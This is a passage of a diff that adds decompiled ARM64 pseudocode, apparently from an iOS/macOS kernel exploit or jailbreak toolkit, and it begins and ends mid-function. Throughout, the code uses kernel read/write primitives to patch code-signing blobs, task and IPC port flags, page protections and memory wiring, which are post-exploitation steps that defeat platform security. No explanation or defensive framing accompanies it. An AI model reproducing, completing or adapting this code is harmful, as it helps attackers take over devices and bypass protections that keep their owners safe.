+ } + } + } + } + v46 = *(_QWORD *)(a1 + 496); + if ( v37 > 0xE || v46 ) + break; + v47 = mach_vm_allocate(v36, v38++, v35, 9); + ++v37; + if ( v47 ) + goto LABEL_68; + } + LODWORD(v37) = v37 + 1; +LABEL_68: + v48 = (unsigned int)v37; + v49 = address; + a6 = v56; + do + { + v50 = *v49++; + mach_vm_deallocate(mach_task_self_, v50, v35); + --v48; + } + while ( v48 ); + a5 = desired_accessa; + a7 = v52; + if ( !v46 ) + return 0; + } + v20 = sub_2A190(a1, v61); + v61 = v20; + if ( !v20 || v20 == v59 ) + { + return 0; + } + else + { + v22 = v20; + desired_access = a5; + v23 = v15; + v24 = a4 % v15; + if ( v24 ) + v25 = v15 - v24; + else + v25 = 0; + v51 = v25 + a4; + v26 = (v25 + a4) / v15; + result = (__int64)calloc(v26, 8u); + if ( result ) + { + v27 = (_QWORD *)result; + v55 = a6; + v28 = 0; + do + { + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v22, 48, address) ) + goto LABEL_66; + if ( (v28 & 1) != 0 ) + { + if ( (_DWORD)v63 != (_DWORD)v66 ) + goto LABEL_66; + } + else + { + LODWORD(v63) = v66; + } + v29 = *((_QWORD *)&v65 + 1); + if ( *((_QWORD *)&v65 + 1) >= v60 && *((_QWORD *)&v65 + 1) < v60 + a4 ) + { + if ( (WORD6(v66) & 0x140) == 0 ) + goto LABEL_66; + v31 = a7 ? HIDWORD(v66) & ~v58 : HIDWORD(v66) & v57 | v58; + if ( !noppl_kwrite32(a1, v61 + 44, v31) ) + goto LABEL_66; + v27[(v29 - v60) / v23] = v61; + } + v61 = address[1]; + v32 = sub_2A190(a1, address[1]); + v61 = v32; + if ( !v32 ) + goto LABEL_66; + v22 = v32; + v28 = 1; + } + while ( v59 != v32 ); + if ( v51 >= v23 ) + { + v33 = 0; + v34 = v26; + if ( v26 <= 1 ) + v34 = 1; + while ( v27[v33] ) + { + if ( ++v33 == v34 ) + goto LABEL_47; + } +LABEL_66: + free(v27); + return 0; + } +LABEL_47: + free(v27); + if ( !v55 ) + return 1; + return mach_vm_wire(*(_DWORD *)(a1 + 6432), a2, a3, a4, desired_access) == 0; + } + } + } + return result; + } + v18 = 7195; + goto LABEL_12; + } + v58 = 3932160; + v19 = -62914817; + goto LABEL_14; + } + } + } + return result; +} + +//----- (000000000002F194) ---------------------------------------------------- +bool __fastcall sub_2F194(struct_krwCtx *a1, unsigned int a2, int a3, int a4) +{ + unsigned int *v7; // x0 + _BOOL8 v8; // x19 + unsigned __int64 v10; // x9 + __int64 v11; // x8 + unsigned __int64 v12; // x10 + __int64 v13; // x11 + unsigned __int64 v14; // x8 + _BYTE v15[104]; // [xsp+8h] [xbp-88h] BYREF + + if ( !(unsigned int)sub_2C2F8(a1, a2, (__int64)v15) ) + return 0; + v7 = sub_2C9B0((__int64)v15, 0, -86111230); + if ( v7 && bswap32(v7[2]) >> 10 >= 0x81 ) + { + v10 = *((_QWORD *)v7 + 10); + v11 = 16; + if ( !a3 ) + v11 = 0; + v12 = bswap64(v10 & 0xAFFFFFFFFFFFFFFFLL); + v13 = 64; + if ( !a4 ) + v13 = 0; + v14 = v13 | v11 | v12; + if ( v14 == bswap64(v10) ) + { + v8 = 1; + goto LABEL_5; + } + *((_QWORD *)v7 + 10) = bswap64(v14); + if ( (unsigned int)sub_2CA2C((__int64)v15, 0, v7) ) + { + v8 = (unsigned int)sub_2CA80(a1, (__int64)v15) != 0; + goto LABEL_5; + } + } + v8 = 0; +LABEL_5: + sub_2CB54((__int64)v15); + return v8; +} + +//----- (000000000002F294) ---------------------------------------------------- +__int64 __fastcall sub_2F294(struct_krwCtx *a1, unsigned int a2) +{ + __int64 result; // x0 + _BYTE v3[104]; // [xsp+8h] [xbp-68h] BYREF + + result = sub_2C2F8(a1, a2, (__int64)v3); + if ( (_DWORD)result ) + { + sub_2CB54((__int64)v3); + return 1; + } + return result; +} + +//----- (000000000002F2C8) ---------------------------------------------------- +unsigned __int64 sub_2F2C8() +{ + struct_krwCtx *v0; // x0 + __int64 v1; // x2 + __int64 v2; // x19 + unsigned int v3; // w1 + unsigned int v4; // w21 + struct_krwCtx *v5; // x20 + unsigned __int64 result; // x0 + unsigned __int64 v7; // x22 + _BOOL4 v9; // w8 + __int64 v10; // x1 + __int64 *v11; // x28 + __int64 v12; // x2 + unsigned __int64 someLargeNumber; // x8 + char *v14; // x9 + __int64 v15; // x9 + __int64 v16; // x21 + int v17; // w0 + __int64 v18; // x23 + int v19; // w21 + char *v20; // x21 + bool v21; // zf + _BOOL4 v22; // w0 + int v23; // w8 + unsigned __int64 v24; // x24 + char *v25; // x27 + char *v26; // x28 + __int64 v27; // x8 + __int64 v28; // x24 + unsigned __int64 v29; // x23 + unsigned __int64 v30; // x24 + __int64 v31; // x9 + __int64 v32; // x10 + unsigned __int64 *v33; // x2 + struct_krwCtx *v34; // x0 + unsigned __int64 v35; // x1 + mach_vm_size_t v36; // x3 + __int64 *v37; // [xsp+10h] [xbp-11F0h] + int v38; // [xsp+18h] [xbp-11E8h] + int v39; // [xsp+1Ch] [xbp-11E4h] + __int64 v40; // [xsp+20h] [xbp-11E0h] + __int64 v41; // [xsp+28h] [xbp-11D8h] BYREF + unsigned int v42; // [xsp+30h] [xbp-11D0h] BYREF + unsigned int v43; // [xsp+34h] [xbp-11CCh] BYREF + __int64 address; // [xsp+38h] [xbp-11C8h] BYREF + unsigned __int64 v45; // [xsp+40h] [xbp-11C0h] BYREF + unsigned __int64 v46; // [xsp+48h] [xbp-11B8h] BYREF + __int64 v47; // [xsp+50h] [xbp-11B0h] BYREF + __int64 v48; // [xsp+58h] [xbp-11A8h] BYREF + __int64 v49; // [xsp+60h] [xbp-11A0h] BYREF + int newBytes; // [xsp+6Ch] [xbp-1194h] BYREF + _BYTE v51[4]; // [xsp+70h] [xbp-1190h] BYREF + int __fd; // [xsp+74h] [xbp-118Ch] BYREF + __int64 v53; // [xsp+78h] [xbp-1188h] BYREF + mach_vm_address_t v54; // [xsp+80h] [xbp-1180h] BYREF + unsigned __int64 v55; // [xsp+88h] [xbp-1178h] BYREF + __int128 v56; // [xsp+90h] [xbp-1170h] BYREF + _OWORD v57[11]; // [xsp+A0h] [xbp-1160h] BYREF + __int64 v58; // [xsp+150h] [xbp-10B0h] + _QWORD v59[7]; // [xsp+160h] [xbp-10A0h] BYREF + _BYTE v60[20]; // [xsp+198h] [xbp-1068h] BYREF + int v61; // [xsp+1ACh] [xbp-1054h] + __int64 v62; // [xsp+1B8h] [xbp-1048h] BYREF + + v0 = (struct_krwCtx *)((__int64 (*)(void))__chkstk_darwin)(); + v2 = v1; + v4 = v3; + v5 = v0; + v47 = 0; + v48 = 0; + v45 = 0; + v46 = 0; + address = 0; + result = sub_33E8C(v0, v3); + if ( result ) + { + v7 = result; + result = sub_2BBA4((__int64)v5, (int *)&v48 + 1, (int *)&v48); + if ( (_DWORD)result ) + { + if ( !kread64_outptr(v5, v7 + HIDWORD(v48), (unsigned __int64 *)&v47) || v47 == 0 ) + return 0; + result = sub_2E4E0(v5, v4, &v46); + if ( !(_DWORD)result ) + return result; + result = sub_2BC80((__int64)v5, &v43, &v42); + if ( !(_DWORD)result ) + return result; + result = kread64_outptr(v5, v47 + v43, &v45); + if ( !(_DWORD)result ) + return result; + if ( !v45 ) + return 0; + v9 = kread64_outptr(v5, v45 + v42, (unsigned __int64 *)&address); + result = 0; + if ( v9 ) + { + v10 = address; + if ( address ) + { + v11 = &v62; + while ( 1 ) + { + v58 = 0; + memset(&v57[1], 0, 160); + v12 = v5->someLargeNumber <= 0x1F530F027FFFFFLL ? 48LL : 64LL; + v56 = 0u; + v57[0] = 0u; + if ( !(unsigned int)kreadbuf_last_1(v5, v10, v12, &v56) ) + break; + someLargeNumber = v5->someLargeNumber; + v14 = (char *)&v57[1] + 8; + if ( someLargeNumber <= 0x1F530F027FFFFFLL ) + v14 = (char *)v57 + 8; + if ( !(*(_QWORD *)v14 >> 29) ) + { + v15 = 144; + if ( someLargeNumber > 0x1C1B19145FFFFFLL ) + v15 = 152; + if ( someLargeNumber > 0x1F52FFFFFFFFFFLL ) + v15 = 168; + if ( someLargeNumber <= 0x1F530F027FFFFFLL ) + v16 = v15; + else + v16 = 160; + if ( !kread64_outptr(v5, address + v16, (unsigned __int64 *)&v41) ) + break; + if ( v41 && (v2 == 0 || v41 == v2) ) + { + if ( !validate_addr((__int64)v5, v41) ) + break; + sub_2A63C(v5, address + v16, 0); + if ( !v17 ) + break; + if ( v5->someLargeNumber > 0x1F52FFFFFFFFFFLL ) + { + v40 = address; + v18 = v46; + v54 = 0; + v55 = v46; + v53 = 0; + __fd = -1; + if ( !(unsigned int)sub_31B90(v5, v47, &v54, &v53, &__fd) + || (v19 = __fd, (unsigned int)sub_3272C(__fd, (__int64)v60, 0x1000u, v18)) ) + { + v20 = 0; + v39 = 0; + goto LABEL_39; + } + v38 = v19; + v23 = v61; + v24 = (unsigned int)(v61 + 32); + if ( (unsigned int)v24 <= 0x1000 ) + { + v20 = 0; + v37 = v11; + v25 = (char *)v11; + } + else + { + v20 = (char *)malloc((unsigned int)(v61 + 32)); + if ( !v20 || (unsigned int)sub_3272C(v38, (__int64)v20, v24, v18) ) + { + v39 = 0; + goto LABEL_39; + } + v37 = v11; + v25 = v20 + 32; + v23 = *((_DWORD *)v20 + 5); + } + v26 = &v25[v23]; + if ( v25 >= v26 ) + { + v39 = 0; +LABEL_74: + v11 = v37; +LABEL_39: + if ( v54 ) + v21 = v53 == 0; + else + v21 = 1; + if ( !v21 ) + kwrite64((__int64)v5, v54, v53); + if ( __fd != -1 ) + close(__fd); + if ( v20 ) + free(v20); + if ( !v39 ) + break; + goto LABEL_49; + } + v39 = 0; + while ( 2 ) + { + if ( *(_DWORD *)v25 == 29 ) + { + newBytes = 14; + v49 = 0x7F00000000000000LL; + v27 = 8; + if ( v5->someLargeNumber <= 0x1F530F027FFFFFLL ) + { + v28 = 24; + } + else + { + v27 = 24; + v28 = 40; + } + v29 = v27 + v40; + if ( (unsigned int)kreadbuf_last_1(v5, v27 + v40, 4, v51) ) + { + if ( (unsigned int)kwritebuf_universal(v5, v29, &newBytes, 4u) ) + { + v30 = v28 + v40; + if ( (unsigned int)kwritebuf_universal(v5, v30, &v49, 8u) ) + { + v31 = *((unsigned int *)v25 + 2); + v32 = *((unsigned int *)v25 + 3); + v59[0] = v55; + v59[1] = v31; + v59[2] = v32; + if ( fcntl(v38, 61, v59) ) + { + kwritebuf_universal(v5, v29, v51, 4u); + v33 = &v55; + v34 = v5; + v35 = v30; + v36 = 8; + goto LABEL_69; + } + v39 = 1; + } + else + { + v33 = (unsigned __int64 *)v51; + v34 = v5; + v35 = v29; + v36 = 4; +LABEL_69: + kwritebuf_universal(v34, v35, v33, v36); + } + } + } + } + v25 += *((unsigned int *)v25 + 1); + if ( v25 >= v26 ) + goto LABEL_74; + continue; + } + } + } + } +LABEL_49: + v22 = kread64_outptr(v5, address, (unsigned __int64 *)&address); + v10 = address; + if ( !v22 || !address ) + return v10 == 0; + } + v10 = address; + return v10 == 0; + } + } + } + } + return result; +} +// 2F300: variable 'v1' is possibly undefined +// 2F304: variable 'v3' is possibly undefined +// 2F4FC: variable 'v17' is possibly undefined +// 48940: using guessed type __int64 __chkstk_darwin(void); +// 48940: using guessed type __int64 __fastcall __chkstk_darwin(_QWORD, _QWORD); + +//----- (000000000002F7BC) ---------------------------------------------------- +__int64 __fastcall sub_2F7BC(struct_krwCtx *a1, int a2) +{ + __int64 result; // x0 + unsigned __int64 v5; // x20 + int v6; // w0 + unsigned int v7; // [xsp+8h] [xbp-28h] BYREF + unsigned int v8; // [xsp+Ch] [xbp-24h] BYREF + __int64 v9; // [xsp+10h] [xbp-20h] BYREF + __int64 v10; // [xsp+18h] [xbp-18h] BYREF + + v9 = 0; + v10 = 0; + result = sub_2BC80((__int64)a1, &v8, &v7); + if ( (_DWORD)result ) + { + if ( (unsigned int)sub_35938(a1, a2, &v10) ) + { + return 0; + } + else + { + result = kread64_outptr(a1, v10 + v8, (unsigned __int64 *)&v10); + if ( (_DWORD)result ) + { + result = validate_addr((__int64)a1, v10); + if ( result ) + { + v5 = v10 + v7; + result = kread64_outptr(a1, v5, (unsigned __int64 *)&v9); + if ( (_DWORD)result ) + { + if ( v9 ) + { + result = validate_addr((__int64)a1, v9); + if ( result ) + { + sub_2A63C(a1, v5, 0); + return v6 != 0; + } + } + else + { + return 1; + } + } + } + } + } + } + return result; +} +// 2F888: variable 'v6' is possibly undefined + +//----- (000000000002F898) ---------------------------------------------------- +unsigned __int64 __fastcall sub_2F898(struct_krwCtx *a1, unsigned int a2, __int64 a3) +{ + unsigned __int64 result; // x0 + unsigned __int64 v6; // x21 + __int64 v7; // [xsp+8h] [xbp-28h] BYREF + + v7 = 0; + result = task_self_get_ipc_port(a1, a2); + if ( result ) + { + result = sub_329B8((__int64)a1, result); + if ( result ) + { + v6 = result; + result = kread64_outptr(a1, result, (unsigned __int64 *)&v7); + if ( (_DWORD)result ) + { + if ( (v7 & 4) != 0 ) + return 1; + v7 |= a3 & 0xFFFFFFFFFFFFF000LL | 4; + result = sub_288A4((__int64)a1, v6, v7); + if ( (_DWORD)result ) + return 1; + } + } + } + return result; +} + +//----- (000000000002F92C) ---------------------------------------------------- +__int64 __fastcall sub_2F92C(__int64 result, int a2, int a3) +{ + unsigned int *v3; // x9 + __int64 v4; // x8 + + if ( result ) + { + if ( *(_DWORD *)(result + 48) == 1 && (v3 = *(unsigned int **)(result + 56), v4 = *v3, (_DWORD)v4) ) + { + for ( result = *((_QWORD *)v3 + 1); *(_DWORD *)result != a2 || bswap32(**(_DWORD **)(result + 8)) != a3; result += 16 ) + { + if ( !--v4 ) + return 0; + } + } + else + { + return 0; + } + } + return result; +} + +//----- (000000000002F980) ---------------------------------------------------- +void *__fastcall sub_2F980(unsigned int *a1) +{ + size_t v2; // x21 + void *v3; // x0 + void *v4; // x19 + + v2 = bswap32(a1[1]); + v3 = malloc(v2); + v4 = v3; + if ( v3 ) + memcpy(v3, a1, v2); + return v4; +} + +//----- (000000000002F9D4) ---------------------------------------------------- +void __fastcall sub_2F9D4(_DWORD *a1) +{ + unsigned int v2; // w8 + __int64 vars8; // [xsp+18h] [xbp+8h] + + if ( a1 ) + { + v2 = a1[1]; + if ( v2 ) + bzero(a1, bswap32(v2)); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + free(a1); + } +} +// 2FA10: variable 'vars8' is possibly undefined + +//----- (000000000002FA24) ---------------------------------------------------- +void __fastcall sub_2FA24(__int64 a1) +{ + __int64 v2; // x20 + int *v3; // x21 + unsigned __int64 v4; // x24 + bool v5; // cc + unsigned __int64 v6; // x0 + unsigned __int64 v7; // x23 + __int64 v8; // x27 + __int64 v9; // x9 + __int64 v10; // x8 + _BOOL4 v11; // w0 + int v12; // w8 + _BOOL4 v13; // w23 + unsigned __int64 v14; // x0 + unsigned __int64 v15; // x25 + __int64 v16; // x27 + int v17; // w22 + int *v18; // x24 + __int64 v19; // x23 + _QWORD *v20; // x0 + _QWORD *v21; // x25 + int v22; // w25 + __int64 v23; // x25 + unsigned __int64 v24; // x27 + unsigned __int64 v25; // x8 + mach_vm_address_t v26; // x24 + int v27; // w24 + void *v28; // x23 + _BOOL4 v29; // w0 + unsigned __int64 v30; // x1 + int v31; // w23 + int v32; // w0 + char v33; // w24 + __int64 v34; // x2 + int v35; // w24 + unsigned __int64 v36; // x8 + unsigned int v37; // w10 + __int64 v38; // x2 + __int64 v39; // x8 + int v40; // w21 + unsigned __int64 v41; // x8 + unsigned int v42; // w23 + __int64 v43; // x9 + __int64 v44; // x25 + unsigned __int64 v45; // x9 + unsigned __int64 v46; // x8 + unsigned int v47; // w25 + __int64 v48; // x22 + _QWORD *v49; // x0 + _QWORD *v50; // x27 + __int64 v51; // x25 + int v52; // w12 + unsigned __int64 v53; // x8 + int v54; // w0 + _BOOL4 v55; // w9 + _BOOL4 v56; // w10 + unsigned int v57; // w1 + int v58; // w24 + unsigned int v59; // w11 + _BOOL4 v60; // w23 + unsigned int v61; // w0 + unsigned __int64 v62; // x10 + int v63; // w8 + int v64; // w8 + unsigned __int64 v65; // x0 + unsigned __int64 v66; // x21 + __int64 v67; // x21 + mach_vm_address_t v68; // x23 + char v69; // w23 + unsigned __int64 v70; // x24 + __int64 v71; // x8 + unsigned int *v72; // x0 + unsigned int v73; // w8 + __int64 v74; // x2 + unsigned __int64 v75; // x0 + unsigned __int64 v76; // x24 + __int64 v77; // x8 + int v78; // w0 + unsigned __int64 v79; // x0 + unsigned int v80; // w0 + int v81; // w1 + __int64 v82; // x9 + __int64 v83; // x24 + mach_port_t v84; // w0 + unsigned __int64 v85; // x0 + int v86; // w0 + unsigned __int64 v87; // x24 + __int64 v88; // x8 + unsigned int v89; // w9 + unsigned int v90; // w9 + int v91; // w0 + void *(__cdecl *v92)(void *); // x0 + int v93; // w0 + int v94; // w0 + int v95; // w24 + int v96; // w8 + int v97; // w24 + unsigned __int64 v98; // x8 + __int64 v99; // x9 + __int64 v100; // x1 + char v101; // w27 + int v102; // w24 + int v103; // w0 + unsigned __int64 v104; // x23 + thread_act_t v105; // w0 + mach_port_t v106; // w0 + int v107; // w0 + void *(__cdecl *v108)(void *); // x0 + int v109; // w0 + int v110; // w8 + unsigned int v111; // w24 + unsigned __int64 v112; // x0 + unsigned __int64 v113; // x23 + int v114; // w8 + int v115; // w8 + __int64 v116; // x8 + unsigned __int64 v117; // x0 + int v118; // w0 + int v119; // w8 + int v120; // w23 + char *v121; // x27 + int v122; // w21 + bool v123; // zf + __int64 v124; // x27 + int v125; // w0 + unsigned __int64 v126; // x0 + unsigned __int64 v127; // x21 + __int64 v128; // x8 + __int64 v129; // x9 + unsigned __int64 v130; // x21 + _BOOL4 v131; // w0 + int v132; // w8 + int v133; // w8 + int v134; // w0 + kern_return_t v135; // w0 + int v136; // w0 + int v137; // w0 + int v138; // w23 + int v139; // w21 + __int64 v140; // [xsp+10h] [xbp-4E0h] + thread_act_t target_act[2]; // [xsp+18h] [xbp-4D8h] + thread_act_t target_acta[2]; // [xsp+18h] [xbp-4D8h] + thread_act_t target_actb; // [xsp+18h] [xbp-4D8h] + unsigned __int64 v144; // [xsp+20h] [xbp-4D0h] + __int64 v145; // [xsp+20h] [xbp-4D0h] + unsigned __int64 v146; // [xsp+20h] [xbp-4D0h] + unsigned int v147; // [xsp+28h] [xbp-4C8h] + __int64 v148; // [xsp+28h] [xbp-4C8h] + int v149; // [xsp+28h] [xbp-4C8h] + unsigned int v150; // [xsp+30h] [xbp-4C0h] + _BOOL4 v151; // [xsp+30h] [xbp-4C0h] + int bufSize; // [xsp+34h] [xbp-4BCh] + unsigned int bufSizea; // [xsp+34h] [xbp-4BCh] + char bufSizeb; // [xsp+34h] [xbp-4BCh] + char bufSizec; // [xsp+34h] [xbp-4BCh] + unsigned int bufSized; // [xsp+34h] [xbp-4BCh] + __int64 bufSize_4; // [xsp+38h] [xbp-4B8h] + int bufSize_4a; // [xsp+38h] [xbp-4B8h] + unsigned int size; // [xsp+40h] [xbp-4B0h] + int sizea; // [xsp+40h] [xbp-4B0h] + _BOOL4 size_4; // [xsp+44h] [xbp-4ACh] + int size_4a; // [xsp+44h] [xbp-4ACh] + __int64 v163; // [xsp+48h] [xbp-4A8h] + unsigned int v164; // [xsp+48h] [xbp-4A8h] + void *buf; // [xsp+50h] [xbp-4A0h] + int bufa; // [xsp+50h] [xbp-4A0h] + __int64 bufb; // [xsp+50h] [xbp-4A0h] + __int64 bufc; // [xsp+50h] [xbp-4A0h] + __int64 v169; // [xsp+58h] [xbp-498h] + __int64 v170; // [xsp+58h] [xbp-498h] + int v171; // [xsp+64h] [xbp-48Ch] BYREF + unsigned int v172; // [xsp+68h] [xbp-488h] BYREF + unsigned int v173; // [xsp+6Ch] [xbp-484h] BYREF + mach_port_name_t name[4]; // [xsp+70h] [xbp-480h] BYREF + __int128 v175; // [xsp+80h] [xbp-470h] + __int128 v176; // [xsp+90h] [xbp-460h] + __int128 v177; // [xsp+A0h] [xbp-450h] + __int128 v178; // [xsp+B0h] [xbp-440h] + unsigned __int64 __src[4]; // [xsp+C8h] [xbp-428h] BYREF + __int64 v180; // [xsp+E8h] [xbp-408h] + __int128 v181; // [xsp+F0h] [xbp-400h] BYREF + __int128 v182; // [xsp+100h] [xbp-3F0h] + __int128 v183; // [xsp+110h] [xbp-3E0h] + __int64 v184; // [xsp+120h] [xbp-3D0h] + unsigned __int8 v185; // [xsp+12Ah] [xbp-3C6h] BYREF + char v186; // [xsp+12Bh] [xbp-3C5h] BYREF + unsigned int v187; // [xsp+12Ch] [xbp-3C4h] BYREF + mach_vm_address_t v188; // [xsp+130h] [xbp-3C0h] BYREF + __int64 v189; // [xsp+138h] [xbp-3B8h] BYREF + __int64 v190; // [xsp+140h] [xbp-3B0h] BYREF + unsigned int v191; // [xsp+14Ch] [xbp-3A4h] BYREF + unsigned int v192; // [xsp+150h] [xbp-3A0h] BYREF + int v193; // [xsp+154h] [xbp-39Ch] BYREF + __int64 newBytes; // [xsp+158h] [xbp-398h] BYREF + int v195; // [xsp+160h] [xbp-390h] BYREF + __int64 v196; // [xsp+168h] [xbp-388h] + __int64 v197; // [xsp+178h] [xbp-378h] + int v198; // [xsp+190h] [xbp-360h] + int v199; // [xsp+1A0h] [xbp-350h] + unsigned int v200; // [xsp+1ACh] [xbp-344h] + int v201; // [xsp+1B0h] [xbp-340h] + __int64 v202; // [xsp+1C8h] [xbp-328h] BYREF + int v203; // [xsp+1D4h] [xbp-31Ch] BYREF + unsigned __int64 v204; // [xsp+1D8h] [xbp-318h] BYREF + void *v205; // [xsp+1E0h] [xbp-310h] BYREF + unsigned int v206; // [xsp+1ECh] [xbp-304h] BYREF + void *v207; // [xsp+1F0h] [xbp-300h] BYREF + unsigned __int64 v208; // [xsp+1F8h] [xbp-2F8h] BYREF + unsigned __int64 v209; // [xsp+200h] [xbp-2F0h] BYREF + pthread_t v210; // [xsp+208h] [xbp-2E8h] BYREF + unsigned int v211; // [xsp+214h] [xbp-2DCh] BYREF + _BYTE v212[48]; // [xsp+218h] [xbp-2D8h] BYREF + unsigned __int64 v213; // [xsp+248h] [xbp-2A8h] BYREF + void *v214; // [xsp+250h] [xbp-2A0h] + __int64 v215; // [xsp+258h] [xbp-298h] + __int128 v216; // [xsp+280h] [xbp-270h] BYREF + __int128 v217; // [xsp+290h] [xbp-260h] + __int128 v218; // [xsp+2A0h] [xbp-250h] + __int128 v219; // [xsp+2B0h] [xbp-240h] + __int128 v220; // [xsp+2C0h] [xbp-230h] + __int128 v221; // [xsp+2D0h] [xbp-220h] + __int128 v222; // [xsp+2E0h] [xbp-210h] + __int128 v223; // [xsp+2F0h] [xbp-200h] + __int128 v224; // [xsp+300h] [xbp-1F0h] + __int128 v225; // [xsp+310h] [xbp-1E0h] + __int128 v226; // [xsp+320h] [xbp-1D0h] + __int128 v227; // [xsp+330h] [xbp-1C0h] + __int128 v228; // [xsp+340h] [xbp-1B0h] + __int128 v229; // [xsp+350h] [xbp-1A0h] + __int128 v230; // [xsp+360h] [xbp-190h] + __int128 v231; // [xsp+370h] [xbp-180h] + __int128 v232; // [xsp+380h] [xbp-170h] + __int128 v233; // [xsp+390h] [xbp-160h] + __int128 v234; // [xsp+3A0h] [xbp-150h] + __int128 v235; // [xsp+3B0h] [xbp-140h] + __int128 v236; // [xsp+3C0h] [xbp-130h] + __int128 v237; // [xsp+3D0h] [xbp-120h] + __int128 v238; // [xsp+3E0h] [xbp-110h] + __int128 v239; // [xsp+3F0h] [xbp-100h] + __int128 v240; // [xsp+400h] [xbp-F0h] + __int128 v241; // [xsp+410h] [xbp-E0h] + __int128 v242; // [xsp+420h] [xbp-D0h] + __int128 v243; // [xsp+430h] [xbp-C0h] + __int128 v244; // [xsp+440h] [xbp-B0h] + __int128 v245; // [xsp+450h] [xbp-A0h] + __int128 v246; // [xsp+460h] [xbp-90h] + __int128 v247; // [xsp+470h] [xbp-80h] + + v2 = *(_QWORD *)a1; + v3 = *(int **)(a1 + 8); + v4 = *(_QWORD *)(*(_QWORD *)a1 + 344LL); + v5 = (**(_DWORD **)a1 & 0x5584001) != 0 || v4 > 0x1F52FFFFFFFFFFLL; + if ( !v5 ) + { + v204 = 0; + v205 = 0; + v203 = -1; + v202 = 0x20000000; + newBytes = 0; + v193 = 0; + v188 = 0; + v189 = 0; + v187 = 0; + v11 = krw_ctx_has_flag((struct_krwCtx *)v2, 85475329); + v12 = 0; + if ( (*(_DWORD *)v2 & 0x5584001) != 0 ) + goto LABEL_466; + v13 = v11; + if ( (unsigned int)sub_31914( + (__int64)v3, + &v205, + &v204, + (unsigned int *)&newBytes + 1, + (unsigned int *)&newBytes, + (unsigned int *)&v193) ) + { + v198 = -1; + v14 = sub_33E8C((struct_krwCtx *)v2, v3[17]); + if ( !v14 ) + { + v22 = 5; +LABEL_352: + v122 = v203; + if ( v203 != -1 ) + { + if ( v188 && v189 && !kwrite64(v2, v188, v189) ) + v22 = 5; + close(v122); + } + if ( v205 ) + free(v205); + v123 = v22 == 0; + goto LABEL_463; + } + v15 = v14; + if ( !(unsigned int)sub_2BBA4(v2, (int *)&v192, (int *)&v191) ) + goto LABEL_349; + v16 = v15 + v191; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)v2, v16, 8, &v190) ) + goto LABEL_349; + if ( v190 == 0x20000000 ) + { + v17 = 0; + v18 = v3; +LABEL_33: + v19 = v204; + if ( v204 > *((_QWORD *)v18 + 2) ) + { + LODWORD(v209) = v204; + v20 = sub_32538((struct_krwCtx *)v2, (unsigned int *)&v209); + if ( !v20 ) + goto LABEL_349; + *((_QWORD *)v18 + 3) = v20; + v21 = v18 + 6; + *((_QWORD *)v18 + 2) = (unsigned int)v209; + if ( !(unsigned int)kwritebuf_last_1(v2, (__int64)v20, (__int64)v205, v19) + || !kwrite64(v2, *((_QWORD *)v18 + 1) + 64LL, *((_QWORD *)v18 + 3)) + || !kwrite64(v2, *((_QWORD *)v18 + 1) + 48LL, *((_QWORD *)v18 + 2)) ) + { + goto LABEL_349; + } +LABEL_63: + if ( kwrite64(v2, *((_QWORD *)v18 + 1) + 120LL, *((_QWORD *)v18 + 3) + HIDWORD(newBytes)) ) + { + v34 = (_DWORD)newBytes ? *v21 + (unsigned int)newBytes : 0LL; + if ( kwrite64(v2, *((_QWORD *)v18 + 1) + 136LL, v34) ) + { + if ( *(_QWORD *)(v2 + 344) <= 0x1F52FFFFFFFFFFuLL + || (!v193 ? (v38 = 0) : (v38 = *v21 + (unsigned int)v193), + kwrite64(v2, *((_QWORD *)v18 + 1) + 152LL, v38)) ) + { + if ( v190 == 0x20000000 + || (!v17 + || (*((_BYTE *)v3 + 3) & 4) != 0 + || (*(_QWORD *)name = 0, *(_QWORD *)&v181 = 0, v213 = 0, (v68 = *((_QWORD *)v3 + 4)) != 0) + && kread64_outptr((struct_krwCtx *)v2, *((_QWORD *)v3 + 4), (unsigned __int64 *)name) + && *(_QWORD *)name + && (*(_QWORD *)name == *((_QWORD *)v3 + 1) + || kread64_outptr((struct_krwCtx *)v2, *(unsigned __int64 *)name, (unsigned __int64 *)&v181) + && (_QWORD)v181 + && kread64_outptr((struct_krwCtx *)v2, v181, &v213) + && !v213 + && kwrite64(v2, v68, v181) + && kwrite64(v2, *(mach_vm_address_t *)name, 0) + && kwrite64(v2, v181, *(__int64 *)name))) + && (unsigned int)sub_2F898((struct_krwCtx *)v2, v3[17], v190) + && (v190 = 0x20000000, (unsigned int)kwritebuf_last_1(v2, v16, (__int64)&v190, 8)) ) + { + v22 = 0; + goto LABEL_350; + } + } + } + } + goto LABEL_349; + } + v21 = v18 + 6; + if ( (unsigned int)kwritebuf_last_1(v2, *((_QWORD *)v18 + 3), (__int64)v205, v204) ) + goto LABEL_63; +LABEL_349: + v22 = 5; + goto LABEL_350; + } + if ( v13 ) + { + v23 = v204; + buf = v205; + v169 = v16; + v163 = HIDWORD(newBytes); + *(_QWORD *)&v181 = 0; + v213 = *((_QWORD *)v3 + 4); + v24 = v213; + v208 = 0; + v230 = 0u; + v231 = 0u; + v228 = 0u; + v229 = 0u; + v226 = 0u; + v227 = 0u; + v224 = 0u; + v225 = 0u; + v222 = 0u; + v223 = 0u; + v220 = 0u; + v221 = 0u; + v218 = 0u; + v219 = 0u; + v216 = 0u; + v217 = 0u; + size_4 = krw_ctx_has_flag((struct_krwCtx *)v2, 85475329); + if ( v24 ) + { + if ( kread64_outptr((struct_krwCtx *)v2, v24, &v213) ) + { + v25 = v213; + if ( v213 ) + { + while ( 1 ) + { + v26 = v25; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)v2, v25 + 24, 8, &v181) ) + break; + if ( (_QWORD)v181 == 0x20000000 ) + { + if ( v213 ) + { + v17 = 0; + goto LABEL_110; + } +LABEL_121: + size = sub_320EC((struct_krwCtx *)v2); + if ( !size ) + goto LABEL_349; + v206 = v23; + v49 = sub_32538((struct_krwCtx *)v2, &v206); + if ( !v49 ) + goto LABEL_349; + v50 = v49; + bufSize_4 = v206; + if ( !(unsigned int)kwritebuf_last_1(v2, (__int64)v49, (__int64)buf, v23) ) + goto LABEL_349; + *(_QWORD *)name = 0; + if ( *(_QWORD *)(v2 + 344) <= 0x1F52FFFFFFFFFFuLL ) + { + v211 = size; + bufb = sub_37210(v2, &v211); + if ( !bufb ) + goto LABEL_349; + } + else + { + v51 = *(_QWORD *)(v2 + 6584); + if ( !v51 ) + { + v117 = sub_403E0(v2, "cs_blob zone"); + if ( !v117 ) + goto LABEL_349; + v51 